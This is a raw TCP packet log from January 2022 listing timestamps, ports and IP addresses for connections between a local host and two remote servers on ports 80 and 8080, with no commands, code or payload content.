Jan 14, 2022 01:50:59.472450018 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472481012 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472518921 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472532034 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472562075 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472610950 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472618103 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472667933 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472676992 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472734928 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472789049 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472790003 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472830057 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472867012 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472884893 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472906113 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472944021 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472980022 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472992897 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.473018885 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473057032 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473089933 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.473097086 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473102093 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.473136902 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473172903 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473191023 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.473208904 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.473261118 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.473351955 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.523762941 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.837671995 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:01.890607119 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.890773058 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:01.890850067 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:01.890894890 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:01.943386078 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.943429947 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.971990108 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.972029924 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:01.972255945 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:01.972286940 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.025535107 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.268753052 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.321796894 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.323857069 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.323908091 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.323920012 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.375896931 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.401315928 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.401540041 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.447520971 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.478626966 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.501272917 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.529119015 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.529357910 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.529431105 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.529613972 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.579837084 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.579885006 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.610785961 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.610925913 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.610934019 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.612031937 CET	49762	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.661531925 CET	80	49762	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.906625032 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.959748030 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:02.959911108 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.959980011 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:02.960030079 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:03.011013031 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:03.040884972 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:03.041263103 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:03.062699080 CET	49765	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:03.073051929 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.113689899 CET	80	49765	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:03.137685061 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.137897968 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.137934923 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.200546026 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.201873064 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.201946974 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.201987982 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202025890 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202064991 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202105999 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202142954 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202172995 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.202182055 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202188969 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.202223063 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202260017 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.202291012 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.202296972 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.202523947 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.264970064 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265017033 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265057087 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265095949 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265131950 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265171051 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265204906 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265208960 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265225887 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265249014 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265289068 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265305042 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265326023 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265376091 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265379906 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265422106 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265458107 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265496016 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265521049 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265533924 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265573025 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265602112 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265656948 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265671015 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265680075 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265701056 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265738964 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265778065 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.265791893 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.265921116 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328325987 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328382015 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328419924 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328460932 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328500032 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328524113 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328537941 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328545094 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328578949 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328609943 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328617096 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328659058 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328691959 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328696966 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328736067 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328777075 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328788042 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328818083 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328856945 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328883886 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328896046 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328933001 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.328938007 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.328973055 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329005003 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329013109 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329051018 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329090118 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329128027 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329144955 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329154015 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329166889 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329205990 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329241991 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329248905 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329282045 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329320908 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329334974 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329358101 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329396963 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329433918 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329447985 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329457045 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329473019 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329513073 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329549074 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329555988 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329587936 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329627991 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329638958 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329668999 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329706907 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329744101 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329765081 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329797983 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329840899 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329890966 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.329917908 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.329955101 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.330071926 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392507076 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392570972 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392613888 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392652035 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392688036 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392721891 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392726898 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392743111 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392767906 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392807961 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392837048 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392848969 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392889977 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392930031 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.392960072 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392968893 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.392970085 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393009901 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393049002 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393114090 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393124104 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393186092 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393224955 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393264055 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393301964 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393340111 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393376112 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393378019 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393383980 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393416882 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393455029 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393493891 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393523932 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393531084 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393533945 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.393572092 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393610001 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.393615007 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394071102 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394113064 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394150019 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394187927 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394207954 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394226074 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394227982 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394236088 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394264936 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394304991 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394342899 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394341946 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394380093 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394418001 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394455910 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394493103 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394496918 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394510984 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394531965 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394568920 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394602060 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394607067 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394646883 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394646883 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394682884 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394721985 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394759893 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394777060 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394788027 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394800901 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394843102 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394879103 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.394936085 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.394951105 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.455718040 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.455766916 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.455806971 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.455846071 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.455897093 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.455929995 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456100941 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456141949 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456180096 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456217051 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456257105 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456275940 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456295967 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456334114 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456372976 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456378937 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456386089 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456485987 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456547976 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456587076 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456625938 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456723928 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456763983 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456783056 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456790924 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456804037 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456842899 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.456897020 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.456991911 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457029104 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457133055 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457175970 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457184076 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457264900 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457293034 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457334995 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457353115 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457390070 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457428932 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457465887 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457467079 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457519054 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457614899 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457654953 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457690954 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457736969 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457793951 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457803965 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.457874060 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457925081 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.457964897 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458000898 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458147049 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458219051 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458261013 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458297968 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458312035 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458319902 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458337069 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458458900 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458532095 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458579063 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458616972 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458638906 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458657026 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458695889 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458734989 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458775043 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458811045 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.458827019 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458836079 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.458861113 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.518716097 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.518773079 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.518816948 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.518856049 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:03.518862009 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:03.518893957 CET	8080	49767	185.7.214.171	192.168.2.3
